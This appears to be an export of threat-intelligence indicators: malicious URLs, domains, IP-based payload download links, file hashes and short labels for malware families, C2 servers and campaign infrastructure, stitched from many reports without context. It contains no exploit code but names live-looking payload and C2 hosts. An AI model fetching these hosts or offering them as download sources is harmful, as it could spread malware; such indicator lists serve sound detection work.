url: thenewmusictunes.com/WVKA/qbv.php?


sha256: 094305681d64999d29d95e7839ad801b3a8c479fb08d2493f00bf4687c646012


sha256: e1b1b65b06b015f18b572e6b509f75d6b7c17b1c60a41d1adeb61e05f41bb3e1


url: farleysmxpph.com/FOXX/far.php


sha256: 1ea9e9ecd0e5b0ac4aedc1b5515484a372dd8aefb1dbeb00f243a0a3ce40fab9


url: farleysmxpph.com/SEED/rag.php?tuo=


sha256: 5a12c312fa06cce9aa92496fb69cfec6f814d0d3622e1ad17c2fafd79d64a087


domain: mikeyourevents.com


sha256: 22dd82c94cadf5cf31b3e9519e8149d4a68fe13bac13eaef91bf283a4beb8101


url: lroliviapanel.com/frst.php?ys=


sha256: 62e42d3e778fd79b7989966b057c24c141531f871a7c73703b35858ab3d13f47


url: paulalesiastyles.com/duh.php?hp=


sha256: 83ca53918af3ea659d767e489a1e42ea97879e3e534f68c4edc7d0eb77f44204


url: newlbfashions.com/kna.php?ka=


sha256: e8b7fffa0a2d8a2051c3272bfaefffe7174707756cb8469c0f985bfa03fce476


url: myprivatehostsvc.com/assets/js.php?h=


sha256: eaa013b863bda3bd76c6f6073cc304002d1a9f317c8fba9c362534aff7dd1b0b


domain: diyefosterfeeds.com


sha256: 48c715cb2a2dd70ece6c4dea58522e9f8c2b9265394f5f06d8d3ccb497071939


domain: webmailcgwip.com


sha256: 986ff32b5fb4409495cc82aae223712a185d0f36cdcc6c7b81213c12704d3b28


url: cogniviosphere.net/css/js.php?st=


sha256: b4ab34aa754c979e6173d8b73f1d56611fd4e82801dd4a11cc7ce7a37f3db6c1


url: myprivatehostsvc.com/xuisy/css.php?h=


sha256: fec00455734451b722f3037e0a668c280c5ddbec1d905c647bf1a7f153856860


url: novaoutletclub.com/valid/validate.php?st=


sha256: b514635f569791316e1c55057f63f596847e23c0fa1ca0f751c5a2135f72b8ff


url: mobisharestock.com/csxdz/wave.php/?h=


sha256: b0f8c8e48d4a1e78550bda551745219613cc3dca7068da86688b95051d7c249e


url: novaoutletclub.com/drop/fall.php?st=


sha256: 510b3de50c8dfc20a3085166f373a5f12475c7915984de0afa3cc0bff0c2580d


url: dnldsalecraze.com/critical/shopper.php?crt=


sha256: 35a7feb273ad532b79a5b9e0536642c23c888ec9338369b2159d6f42e2b626e7


url: adamsresearchshare.com/mack.php


sha256: 408292710999abc4d37f23a6672ef407d70ffb4dc2e3e030a5ec705735c1f8bd


url: adamsresearchshare.com/textcmd/cmd1.php


Abroad_Training_Nominations_Jan_2024.rar / / Paul Hager #susp_rar_with_cloaked_lnk_jun22


sha256: 92307952ceb92be981ba8c1c83febf11e6379e1ee492436ee7caff08bb290fbb


sha256: 15161231be575991c70252cc33cdd2c41b5c3b255d6510790bef32be9b6ff5a2


sha256: f5eec8ae7f8646328b9de05931fadc3f693c0a3f0f7d1aa0a90071445072dd3f


sha256: 8cfc803459682619e97f172e9cca33458fdf38b0b9ca09f8ccbc7df16f09240f


url: updnangelgroup.com/ridge/visors.php?crt=


sha256: 06dd9a7aebe0995b23526f04eabc85db3d2d98def9be58c1012a1280f5aa63f1


url: ellearningstore.com/rest/api.php?rst=


sha256: 5b90d4c397e575965ed49082981fd34272b5e1da010057f6ebcdd4f53a409ad0


url: wcnsappword.com/wmis/wave.php?xas=


Comebacker


Loader


Malvertising chain


Dropper


Rhadamanthys download


Rhadamanthys


Rhadamanthys C2


Savvy Seahorse secondary TDS


Subdomain used as CNAME record for parked


Subdomains for active Savvy Seahorse campaigns


Fake trading websites the user is redirected to in some campaigns


Payment processing to collect victim’s financial information


Legitimate for Mastercard used collect victim’s financial information


Savvy Seahorse base


filename: Synaptics.exe


sha1: 54efba3a1e800e0a0cccddc7950476c646935d28


filename: InstantView.exe


md5: 8fe9734738d9851113a7ac5f8f484d29


C2 and payload hosting


Other indicators


Payloads possibly related to the same malware developer


Subdomain used as CNAME record for inactive


Subdomains used as CNAME records for active campaigns


Legitimate for Flutterwave, a Nigerian payment service used to collect victim’s financial information


SVG


WSF


file download


ransomware executable


for the DMG


for the Mach-O droppers


for the Python scripts


for C&C URLs: / previously linked to C&C server associated with Amadey malware


Cobalt Strike - Backdoor.Win64.COBEACON.YXEBVZ


Cobalt Strike - Trojan.PS1.COBEACON.SMYXAK-A


Cobalt Strike - Backdoor.Win64.COBEACON.SMOSLJEWA.stg


Bl00dy ransomware - Ransom.Win32.BLOODY.YXEBVZ


XWorm malware - Backdoor.Win32.XWORM.YXEBVZ


Cobalt Strike C&C server


Cobal tStrike C&C server


Bl00dy ransomware source


XWorm C&C


filename: DSUserAgentCap.pm


md5: e4fe3a314a3aee5aee9c55787a33671c


filename: querymanifest.cgi


md5: e48716521dc48425feae71bc9dc768cd


filename: diskCounters


md5: 8c4b32e8ee9e0b2f8dab01364971ffff


filename: diskmonitor


md5: e33a3a90f1f8fa6d8f17bc6151b027d6


filename: diskAnalysis


md5: 6c58b8b1e3b36a5a124afd110c109ebc


filename: plugin.jar


md5: b76d7890a7a7ff6d0b1151a8251e318f


filename: gateway.conf


md5: 9e0941c4851d414b5d25dd15872c3e47


filename: libchilkat.so


md5: fd83b3e9db57838b62c5baf8218ce5a8


filename: libaprhelper.so


md5: 2ddeca6511506fe435dc1f63b4cf061c


filename: security.jar


md5: f64a799ff16aded3f4d6706ffbd7e6dd


md5: fb973c8bbfdba234ea83ee20084dcac9


filename: mem.rd


md5: 5368b1122c10fa7850f44d3e16fc18fb


filename: memorysCounter


md5: 31a591a28198f05e9ab4d12609a9ce81


filename: dsAgent


md5: 5f561f217a8046de8cadf418ef4dfda0


Unix domain socket for PITSTOP


Mutex for PITSTOP


vcruntime140.dll (WINELOADER core module loader)


wine.pdf (July 2023 invitation)


wine.pdf (Feb 2024 invitation)


wine.hta


WINELOADER core module


WINELOADER core module (RC4-encrypted)


WINELOADER persistence module loader


WINELOADER persistence module


WINELOADER persistence module (RC4-encrypted)


WINELOADER C2


Downloads base64-encoded ZIP archive from this


Downloads the ZIP archive containing the wine.hta file


Downloads the ZIP archive containing the wine.hta file (IOC from July 2023)


MINIBIKE


MINIBUS


LIGHTRAIL


Fake Job Offers


C2 and Hosting Infrastructure


Azure Subdomains


Potential C2


Drop Site


Downloader JavaScript


Region check and redirect JavaScript


filename: CFDI_930209.zip


sha256: b1b85c821a7f3b5753becbbfa19d2e80e7dcbd5290d6d831fb07e91a21bdeaa7


filename: FACTURA_560208.zip


sha256: e04cee863791c26a275e0c06620ea7403c736f8cafbdda3417f854ae5d81a49f


filename: FAC_560208_ATR890126GK2.url_


sha256: aa187a53e55396238e97638032424d68ba2402259f2b308c9911777712b526af


filename: FAC_930209_FME140910KI4.url_


sha256: 66af21ef63234c092441ec33351df0f829f08a2f48151557eb7a084c6275b791


filename: Cecujujajofubo475.dll_


sha256: b3f4b207ee83b748f3ae83b90d1536f9c5321a84d9064dc9745683a93e5ec405


filename: blob.dll_


sha256: e87325f4347f66b21b19cfb21c51fbf99ead6b63e1796fcb57cd2260bd720929


sha256: 103d3e03ce4295737ef9b2b9dfef425d93238a09b1eb738ac0e05da0c6c50028


filename: blob.dll


sha256: a579bd30e9ee7984489af95cffb2e8e6877873fd881aa18d7f5a2177d76f7bf2


sha256: b01e917dd14c780cb52cafcd14e4dd499c33822c7776d084d29cf5e0bb0bddb6


sha256: 795c0b82b37d339ea27014d73ad8f2d28c5066a7ceb6a2aa0d74188df9c311c9


sha256: 07521bd6acf725b8a33d1d91fd0cc7830d2cff66abdb24616c2076b63d3f36a8


sha256: 71ce48c89b22e99356c464c1541e2d7b9419a2c8fe8f6058914fc58703ba244f


sha256: ba7bc4cff098f49d39e16c224e001bd40a5d08048aeec531f771a54ee4a5ecef


Dropper Binaries


7z archives


LNK


JS


Cabinet archives


Cobalt Strike


Decoy


C&Cs servers


hijacked subdomain sending emails from different IPs worldwide in one activity day


Abyss Locker v2 (Linux)


Abyss Locker v2 (Windows)


Abyss Locker v1 (Windows)


Gootloader


SystemBC C2


sha1: 7e8543f2bc09bf320510fde5e34e32065339d9d2 sha256: 873dd1dcdfcbe9826b274c5880f5be81a878ee93715fbb18a654d9dba61c5dfc filename: Implied_employment_agreement_70159.zip


md5: fb6e4f75763fad6d0e7fe85a563b0c24 sha256: 873dd1dcdfcbe9826b274c5880f5be81a878ee93715fbb18a654d9dba61c5dfc filename: Implied_employment_agreement_70159.zip


md5: fb6e4f75763fad6d0e7fe85a563b0c24 sha1: 7e8543f2bc09bf320510fde5e34e32065339d9d2 filename: Implied_employment_agreement_70159.zip


md5: fb6e4f75763fad6d0e7fe85a563b0c24 sha1: 7e8543f2bc09bf320510fde5e34e32065339d9d2 sha256: 873dd1dcdfcbe9826b274c5880f5be81a878ee93715fbb18a654d9dba61c5dfc


implied employment agreement 24230.js, sha1: ecc0b26106703e129fb1e2ec132c373870c2e7b6 sha256: f94048917ac75709452040754bb3d1a0aff919f7c2b4b42c5163c7bdb1fbf346


implied employment agreement 24230.js, md5: deb24dfaf8178fda2d070aba9134a30c sha256: f94048917ac75709452040754bb3d1a0aff919f7c2b4b42c5163c7bdb1fbf346


implied employment agreement 24230.js, md5: deb24dfaf8178fda2d070aba9134a30c sha1: ecc0b26106703e129fb1e2ec132c373870c2e7b6


Frontline Management.js, sha1: 877515fecc14ed193167e8a20c6b9a684a74564d sha256: ecc7f13c3f0f8d4775e05715810b0164c52b7bd233e4a2e4f5a37769becb0092


Frontline Management.js, md5: 4f4ee823a8c7e2511f05b3ea633c0d2c sha256: ecc7f13c3f0f8d4775e05715810b0164c52b7bd233e4a2e4f5a37769becb0092


Frontline Management.js, md5: 4f4ee823a8c7e2511f05b3ea633c0d2c sha1: 877515fecc14ed193167e8a20c6b9a684a74564d


stage1 (geRBAdXTDCkN), sha1: a88a28c73aa42956c9f9d12585a8de63d4a00e47 sha256: 68dd1a2da732d56b0618f8581502fcf209b1c828c97d05f239c98d55bb78b562


stage1 (geRBAdXTDCkN), md5: 25b38e45df3cd215386077850c59be07 sha256: 68dd1a2da732d56b0618f8581502fcf209b1c828c97d05f239c98d55bb78b562


stage1 (geRBAdXTDCkN), md5: 25b38e45df3cd215386077850c59be07 sha1: a88a28c73aa42956c9f9d12585a8de63d4a00e47


stage2 (cbkSBtbjQBNFy), sha1: e0b568a3e35257cd30b0c42727c3529cef13b081 sha256: 831955bd05186381a8f15539a41f48166873eab3feb55fb1104202e4152bd507


stage2 (cbkSBtbjQBNFy), md5: 1b8b4f05058ac39091b99cc153ab00c0 sha256: 831955bd05186381a8f15539a41f48166873eab3feb55fb1104202e4152bd507


stage2 (cbkSBtbjQBNFy), md5: 1b8b4f05058ac39091b99cc153ab00c0 sha1: e0b568a3e35257cd30b0c42727c3529cef13b081


e544944.exe - CS beacon, sha1: f043898fc9db6985c4ad8bb84669c081cdaa8e6f sha256: 40c40495434bf987b04f0742c3e9201189675d87a042aa72abbd0084c3de66d8


e544944.exe - CS beacon, md5: f769cb73317421c290832777c9e14f92 sha256: 40c40495434bf987b04f0742c3e9201189675d87a042aa72abbd0084c3de66d8


e544944.exe - CS beacon, md5: f769cb73317421c290832777c9e14f92 sha1: f043898fc9db6985c4ad8bb84669c081cdaa8e6f


5d78365.exe - CS beacon, sha1: 3cf851eb09c934cafe9b98d4706f903dff804b0c sha256: aad75498679aada9ee2179a8824291e3b4781d5683c2fa5b3ec92267ce4a4a33


5d78365.exe - CS beacon, md5: 9f9c7b2c8f245e62a08bf5f8a3eb3498 sha256: aad75498679aada9ee2179a8824291e3b4781d5683c2fa5b3ec92267ce4a4a33


5d78365.exe - CS beacon, md5: 9f9c7b2c8f245e62a08bf5f8a3eb3498 sha1: 3cf851eb09c934cafe9b98d4706f903dff804b0c


dae50de.exe - CS beacon, sha1: d53e550b54c08606e19965a9f74bbaa7063e10f1 sha256: be3222219f029b47120390b2b1ad46ae86287e64a1f7228d6b2ffd89345a889e


dae50de.exe - CS beacon, md5: a617e6687ab5d747c530b930bb4a3209 sha256: be3222219f029b47120390b2b1ad46ae86287e64a1f7228d6b2ffd89345a889e


dae50de.exe - CS beacon, md5: a617e6687ab5d747c530b930bb4a3209 sha1: d53e550b54c08606e19965a9f74bbaa7063e10f1


Remcos C2


filename: 2023-files-my1040-w2-irs-letter-1099r_pdf.zip


md5: 00b986c09855eedfe4deb72d0d2e048d


filename: Tax_documents_PDF.zip


md5: a988632f9a684e4fccb7a905eba02f43


filename: 2023-FILES-MY1040-w2-IRS-letter-1099r_PDF.jar (Ratty payload)


md5: 17bf81109991d0d312020200f79f3811


Ratty payload


filename: Tax_documents_PDF.jar


md5: 417060db093c0b32a4f179f29f52ed44


Sorillus RAT


Ratty RAT


DataCollector


filename: 85673635.vbs


md5: 032c2cc1862303d06832c0ebe34b9dae


filename: PROJETOAUTOMACAO.VB1.dll


md5: ce91eb459e4f6a9e2871088d855cd211


filename: febxworm39090.exe


md5: 1a2b23fd06525561826e61fc104b66d0


filename: vbs_novo_new_image.jpg


md5: ddb09774c5a870c73cf0cf71e6d97d3e


filename: output.273230999.txt


md5: 983865b130c91b9b3a36d488afbdd1bd


First stage - leading to Windows version of KrustyLoader


This hosts apacheMQ exploit file


apacheMQ exploit payload


Second Stage - Leading to Sliver


Overlap with ScreenConnect


Reported beaconing to music.farstream[.]org


filename: lods.cmd


md5: 194118c43c65faad06bf5ff6cd9b52a2


filename: IxsqpAscrubb.exe


md5: 3ca5a8e1e0217d89b4926ca68e5f41c8


PIKABOT C2 Server


PIKABOT C2 server


Pikabot loader


Simple indicator of observable {gloverstech.com}


hosting the zip archive file from link within email


sha1: 2697445c68a1ee39253b218179ef4894d8f13049 sha256: 2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b


md5: 81ffb7bb281eaeb432860d09112548cd sha256: 2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b


md5: 81ffb7bb281eaeb432860d09112548cd sha1: 2697445c68a1ee39253b218179ef4894d8f13049


AsyncRAT ZIP


AsyncRAT


PlugX ZIP


PlugX loader


PlugX dat


PlugX LNK


Dridex


ToneShell Persistence Component


ToneShell Networking Component


ToneShell Functionality Component


CatB Loader


CatB Payload


Modified lastauthserverused.js file


Modified scanner.py file


Modified visits.py file


Modified auth_token.py file to dump authentication token data


DSLog Backdoor


IPv4 / Observed scanning for vulnerable Ivanti appliances


IPv4 / belonging to Pure VPN, observed scanning for vulnerable Ivanti appliances


Quasar C2 Botnet Endpoint


Possible Quasar C2 endpoint


Quasar executable


Quasar C2


Cryptocurrency Miner


Possible Quasar C2


2024-02-19 / 2024-02-19


2024-02-09 / 2024-02-10


2024-02-09 / 2024-02-09


2024-02-08 / 2024-02-09


2024-02-07 / 2024-02-09


2024-01-30 / 2024-01-31


2024-01-29 / 2024-01-29


2024-01-28 / 2024-01-28


2024-01-26 / 2024-01-26


2024-01-25 / 2024-01-28


2024-01-25 / 2024-01-25


2024-01-24 / 2024-01-25


2024-01-22 / 2024-01-23


2024-01-18 / 2024-01-21


2024-01-19 / 2024-01-20


2024-01-18 / 2024-01-20


2024-01-10 / 2024-01-12


2024-01-09 / 2024-01-11


2024-01-08 / 2024-01-09


2024-01-06 / 2024-01-08


2024-01-01 / 2024-01-02


Mispadu / C++ dropper non-obfuscated version


Mispadu / C++ dropper obfuscated version


Mispadu / .NET dropper


Mispadu / HTA dropper


Mispadu / D2 downloader


Mispadu / payload version 96


Mispadu / SmokeBot download that served Mispadu


Mispadu / SmokeBot download that served a Rhadamanthys payload connected to Mispadu


Kiron / downloader


Kiron / Download


Kiron / payload


Caiman / downloader from January 2023


Caiman / downloader from September 2023


Caiman / Dead-drop


Caiman / Dead-drop address


Caiman / Download


Culebra / downloader


Culebra / payload


Salve / previous inflated PE downloader


Salve / dropper


Salve / First-stage JScript C2


Salve / Second-stage JScript download


Salve / Dead-drop for payload


Salve / Payload C2


Astaroth / Compiled AutoIt script that contains a Delphi loader using AES


Astaroth / Latest Delphi DLL loader


Astaroth / PNG file hiding a configuration file


Doit / AutoIt version


Doit / C++ version


Doit / C2 server hosting Mispadu


Doit / hosting a Culebra downloader


Malware. Uses Sophos in properties


Malware with Sophos name in properties. Source: hxxp://207.246.74.189:804/download/Diablo.log


hxxp://185.232.92.32:8888/Logs.txt - Malicious Data, which will be loaded by (SentinelAgentCore.dll)


enc.exe" ransomware executable


Malware script that decodes to an executable. Source: hxxp://91.238.181.238/a


Payload from f1c7045badec0b9771da4a0f067eac99587d235d1ede35190080cd051d923da6 - %temp%\xw.exe


Source: hxxp://shapefiles.fews.net.s3.amazonaws.com:80/8gaLYHLcZ4DPV


Source: hxxp://23.26.137.225:8084/msappdata.msi


Payload from 3818bb7adf60f8c2aeb5fe8c59b81fc7eb7f1471a80932610dc9a294ba7ba543 - Cobalt Strike


hxxp://185.232.92.32:8888/SentinelAgentCore.dll - Malicious DLL Component (Loader)


Ransomware binary built using the leaked Lockbit 3 builder tool


UpdaterScreenConnect.exe" malware


hxxp://185.232.92.32:8888/sentinelui.exe - Clean used for sideloading malicious DLL


Script that decodes itself to become a malware executable


r.bat that downloads 858ddfe6530fb00adb467f26e2c8f119fef284e1e9b6c92f0634f403ee3e7913


Decoded PowerShell script


AnyDesk installer distributed by threat actors


observed in ScreenConnect attacks. Payload not retrieved


Malicious stealer. has properties that identify it as Sophos ML Model model.dll


Installer for ScreenConnect distributed by threat actors


Installer for SimpleHelp remote access utility distributed by threat actors


lorenz darkweb website


Hta载荷


域名


First-stage website


Doppelgänger-managed destination website


Third-party website whose articles Doppelgänger disseminates


Second-stage website


Server likely used for monitoring campaign performance


Attacker


C2 server


Mining pool


Mining activity


Lucifer malware


Miner


filename: Minagroua111.pdf


sha1: 3c201b2e40357996b3832c72ea305606f07477e3


filename: Mozua.pdf


sha1: 15bf71a771256846d44e8cb3012ee6bc6f9e1532


filename: Minregion.pdf


sha1: 960341b2c296c425821e4b42435a0618b89d4037


sha1: bb14153040608a4f559f48c20b98c1056c794a60


2023-09-09 / related to Alexei Navalny


- Dropper


- dex file (cortina)


Dropper server


- TeaBot (1.apk)


TeaBot C2 server


filename: StatRKZU.msi


sha256: 58bcd90f6f04c005c892267a3dfe91d1154d064482b07715ad5802f57c1ea32d


filename: wiasvc32.dll


sha256: 9339eaf1d77bb0324e393a08a6180fe0658761fc0cd20ba25081963286dfb9c7


filename: wiasvc64.dll


sha256: b60dc12833110098f5eec9a51749d227db7a12d4e91a100a4fd8815695f1093f


None / 2007-11-01 / Appears to be a legitimate site


Low / 2010-08-27 / Appears to be a legitimate site


Moderate / 2010-12-21 / Well-established and legitimate site


Low / 2019-12-18 / Other subdomains observed in customer DNS, but not this subdomain


Low / 2021-03-12 / Appears to be a legitimate site


Low / 2022-08-21


None / 2023-05-30


Low / 2023-08-30


None / 2024-01-21


Low / 2024-01-21


Not a valid / registered


Ande Loader


UpCry


FuckCrypt


Vbs-Crypter Simples.exe


Vbs-Crypter.exe


Remcos RAT


NjRAT


VBS


C2 (NjRAT)


C2 (opendir)


Samples


US


Germany


Netherlands


Russia


Trojan.Win32.PLUGX.ZBLA - NB.dll


Backdoor.Win32.PLUGX.ZCLA.enc - msedgeup.dat


Trojan.Win32.PLUGX.ZTKI - libcef.dll


Backdoor.Win32.PLUGX.ZTKI.enc - licensing.dat


Trojan.Win32.PLUGX.ZTKI - SZBrowser.dll


Backdoor.Win32.PLUGX.ZTKI.enc - log.dat


Trojan.Win32.PLUGX.ZCKJ - acuapi.dll


Backdoor.Win32.PLUGX.ZBKJ.enc - Browser.dat


Trojan.LNK.DOPLINK.ZTKI


Download Site


Moderate / 2004-09-04 / Dynamic DNS provider Other subdomains observed in customer DNS, but not this subdomain


Low / 2022-08-21


None / 2023-05-30


Low / 2023-08-30


None / 2024-01-21


Low / 2024-01-21


Not a valid / registered


Mekotio MSI ZIP


Mekotio MSI


Astaroth MSI ZIP


Astaroth MSI


CustomAction.idt Astaroth Components


AutoIt3.exe, benign but abused Astaroth Components


AutoIt binary dropping payload Astaroth Components


Astaroth loader embedded in AutoIT script Astaroth Components


Astaroth encoded payload, sdk.log Astaroth Components


dump.log Astaroth Components


Benign SQlite3 library abused by malware Astaroth Components


Binary.tnqqhgm.dll Mekotio Components


Binary.sknwvly.dll Mekotio Components


Ousaban Ousaban Components


Ousaban Components


Tycoon Phishing Kit Landing Pages (8-Feb-2024)


LaunchGFExperienceLOC.dll (Pelmeni Wrapper)


Relapsed.exe (Kazuar)


asio.dll (Pelmeni Wrapper)


Sobroutine.exe (Kazuar)


vncutilLOC.dll (Pelmeni Wrapper)


Humanity.exe (Kazuar)


SkyTelLOC.dll (Pelmeni Wrapper)


Inroad.exe (Kazuar)


Denigrating.exe (Kazuar)


Arches.exe (Kazuar)


BackMyData ransom notes


C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<Executable name> created


associated with FBI’s QakBot uninstaller)


PowerShell loader


Alpha ransomware loader


GoldPickaxe.iOS


GoldPickaxe.Android


GoldDigger


GoldDiggerPlus


filename: DOC20241.bat


md5: 380c9e85f6960add801843076c33ec3b


filename: out.jpg


md5: 11d8ddcb74dd3c1c10dcf8e6df8e5af9


filename: stage4.dll


md5: 416c046fdcf4625c189ec37230052b62


filename: stage4.exe


md5: 2e8ecadb887cb758c0b0dcb79442d616


sha256: caac4681389b0af7998ba8fd2062d18050a0e5e8cb4c8d0006a1b3a921ee52c8 filename: Imtoken.apk


sha1: 8eea235b26fadeecd0f817433c97747853c51a24 filename: Imtoken.apk


sha1: 8eea235b26fadeecd0f817433c97747853c51a24 sha256: caac4681389b0af7998ba8fd2062d18050a0e5e8cb4c8d0006a1b3a921ee52c8


C2 Endpoint


Possible C2 Endpoint


Possible Payload Download


Stager Trojan (005ae0191)


Stager 2 Trojan ( 005af2041 )


Coin Miner Adware (005300251)


Stager Trojan ( 005af85d1 )


Scammer


for Traitor binary


Kerbrute enumeration of Active Directory


for Kerbrute binary


Fscan enumeration


for Fscan binary


Sliver binary


for Sliver binary


Sliver C2 address


Bash script for XMrigCC cryptominer


for bash script


Compressed crypto installation


for crypto installation


Exploit behavior within Confluence access.log


address associated with exploit behavior of text-inline followed by curl


The primary command and control identified for the exfiltration of credentials


filename: IonPulse.exe


md5: 71c72ad0da3af2fca53a729ef977f344


SameCoin Malicious Attachment (RAR)


SameCoin Loader


SameCoin Wiper


SameCoin Tasks Spreader


SameCoin APK


libexampleone.so (arm64-v8a)


libexampleone.so (arm64-v7a)


libexampleone.so (x86)


libexampleone.so (x86_64)


SameCoin propaganda image


SameCoin propaganda video


MrAgent


Mario


SameCoin propaganda vi / SameCoin Malicious Attachment (RAR)


SameCoin propaganda vi / SameCoin APK


Malicious Executable / / Dropper executable variant with final payload Lokibot / 2023-04-06


Malicious Executable / / Dropper executable variant final payload Warzone RAT / 2023-04-12


Malicious Executable / / Dropper executable variant with final payload Trojan Mamut / 2023-04-12


Malicious Executable / / Dropper executable variant with final payload Taskun malware / 2023-04-12


Malicious Executable / / Dropper executable variant with final payload AgentTesla malware / 2023-04-12


C2 / / C2 contacted by final payload / 2023-11-27


C2 / / C2 contacted by final payload / 2023-04-13


Example in email / 2024-02-08


of example Word document downloaded from OneDrive / 2024-02-08


of dopped script (by Word macro) in %TEMP% folder / 2024-02-08


used by script in %TEMP% folder to download next stage / 2024-02-08


used by second stage PowerShell to download Bumblebee DLL / 2024-02-08


of file “w_ver.dll” (Bumblebee) / 2024-02-08


Active Bumblebee C2 on Feb 8 / 2024-02-08


Phishing


associated with CharmingCypress phishing activity distributing POWERLESS and NOKNOK malware via malicious VPN applications


ipaddress / associated with CharmingCypress phishing activity distributing POWERLESS and NOKNOK malware via malicious VPN applications


POWERLESS persistence module


POWERLESS browser stealer module


POWERLESS .NET loader


POWERLESS audio recorder module


CharmingCypress indicators of compromise related to BASICSTAR and KORKULOADER related phishing


CharmingCypress related indicators


NET dll likely used as a helper with other unknown malware - provides functionality to read the contents of a file and converts the result to base64


ipaddress / CharmingCypress related indicators


RATHOLE config


Command line 7z


Nirsofts' Chrome History Viewer


Command line Winrar


CommandCam utility


fxbulls


Glupteba Binaries From the 2023 Campaign


2023 Campaign ZIP


EfiGuard Binaries Used by Glupteba


2023 Campaign Infrastructure


Location of Program Database From Glupteba in 2023


User Agent


C2 Servers


Payload Downlaoder


Decrypted DarkGate version 6.1.6


Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

User Agent involved in attack’s access phase


Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

User Agent involved in attack’s access and post-access phases


Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36


used for targeted phishing threats


Source used as malicious infrastructure


Pikabot sample (version 1.8.32-beta)


Telegraph link leading to Mediafire download link (other similar links observed)


Malware download link


C2 address


Setup.exe - (Initially observed instance)


Setup.exe - (second observed instance)


Simple indicator of observable {http://101.99.75.183/MfoGYZkxZIl205.bin}


Simple indicator of observable {101.99.75.183}


Simple indicator of observable {6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99}


filename: 123.ps1


sha256: ed5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44


filename: Mag.dll


sha256: cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63


Ransomware ( 005a7a3d1 )


VisualStudioUpdater_Patch Binaries


VisualStudioUpdating Binaries


Previewers Binaries


DO_NOT_RUN_ChromeUpdates Binaries


visualstudioupdate Binaries


VisualStudioUpdater Binaries


zshrc2 Binaries


Binaries


Jobinfo.app.zip Application bundles


Jobinfo.zip Application bundles


Download domains


Download scripts / Trojan.MAC.Downloader.BK (Shell script)


Download scripts / Compiled Apple script


Download scripts / Trojan.MAC.Downloader.BL (Decompiled Apple script)


C&C


Host-based hash)


C2 list


- C2 Server


- Address - C2 Server


- Address - Cryptocurrency mining related endpoint


Sliver implant


C3RB3R ransomware (UPX packed)


XMRig


XorDDoS


Address / Sliver Implant C2


Address / Source of CVE-2023-22527 exploitation scanning


Password-Stealer ( 00595d541 )


doc file


dropped INF file


dropped DLL


Dropping path : %TEMP%


chrome / gb.pi.xcxr.xd


chrome / malmkb.zdbd.ivakf.lrhrgf


chrome / vfqhqd.msk.xux.njs


chrome / hohoj.vlcwu.lm.ext


chrome / enech.hg.rrfy.wrlpp


chrome / gqjoyp.cixq.zbh.llr


filename: streaming_client.exe


sha256: 6f345b9fda1ceb9fe4cf58b33337bb9f820550ba08ae07c782c2e142f7323748


sha1: 04423659f175a6878b26ac7d6b6e47c6fd9194d1 sha256: edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70 sha512: df55591e730884470afba688e17c83fafb157ecf94c9f10a20e21f229434ea58b59f8eb771f8f9e29993f43f4969fe66dd913128822b534c9b1a677453dbb93c ssdeep: 49152:99z0w/qP1dKPzeietmd64H9QaIG0aYkn0GzkWVISaJUET6qyxASuOszP7hn+S6wB:v0R9dKSiekd68ZIQ0obVI9UG6qyuhF6 filename: BrightmetricAgent.exe


md5: fd41134e8ead1c18ccad27c62a260aa6 sha256: edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70 sha512: df55591e730884470afba688e17c83fafb157ecf94c9f10a20e21f229434ea58b59f8eb771f8f9e29993f43f4969fe66dd913128822b534c9b1a677453dbb93c ssdeep: 49152:99z0w/qP1dKPzeietmd64H9QaIG0aYkn0GzkWVISaJUET6qyxASuOszP7hn+S6wB:v0R9dKSiekd68ZIQ0obVI9UG6qyuhF6 filename: BrightmetricAgent.exe


md5: fd41134e8ead1c18ccad27c62a260aa6 sha1: 04423659f175a6878b26ac7d6b6e47c6fd9194d1 sha512: df55591e730884470afba688e17c83fafb157ecf94c9f10a20e21f229434ea58b59f8eb771f8f9e29993f43f4969fe66dd913128822b534c9b1a677453dbb93c ssdeep: 49152:99z0w/qP1dKPzeietmd64H9QaIG0aYkn0GzkWVISaJUET6qyxASuOszP7hn+S6wB:v0R9dKSiekd68ZIQ0obVI9UG6qyuhF6 filename: BrightmetricAgent.exe


md5: fd41134e8ead1c18ccad27c62a260aa6 sha1: 04423659f175a6878b26ac7d6b6e47c6fd9194d1 sha256: edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70 ssdeep: 49152:99z0w/qP1dKPzeietmd64H9QaIG0aYkn0GzkWVISaJUET6qyxASuOszP7hn+S6wB:v0R9dKSiekd68ZIQ0obVI9UG6qyuhF6 filename: BrightmetricAgent.exe


md5: fd41134e8ead1c18ccad27c62a260aa6 sha1: 04423659f175a6878b26ac7d6b6e47c6fd9194d1 sha256: edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70 sha512: df55591e730884470afba688e17c83fafb157ecf94c9f10a20e21f229434ea58b59f8eb771f8f9e29993f43f4969fe66dd913128822b534c9b1a677453dbb93c filename: BrightmetricAgent.exe


md5: fd41134e8ead1c18ccad27c62a260aa6 sha1: 04423659f175a6878b26ac7d6b6e47c6fd9194d1 sha256: edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70 sha512: df55591e730884470afba688e17c83fafb157ecf94c9f10a20e21f229434ea58b59f8eb771f8f9e29993f43f4969fe66dd913128822b534c9b1a677453dbb93c ssdeep: 49152:99z0w/qP1dKPzeietmd64H9QaIG0aYkn0GzkWVISaJUET6qyxASuOszP7hn+S6wB:v0R9dKSiekd68ZIQ0obVI9UG6qyuhF6


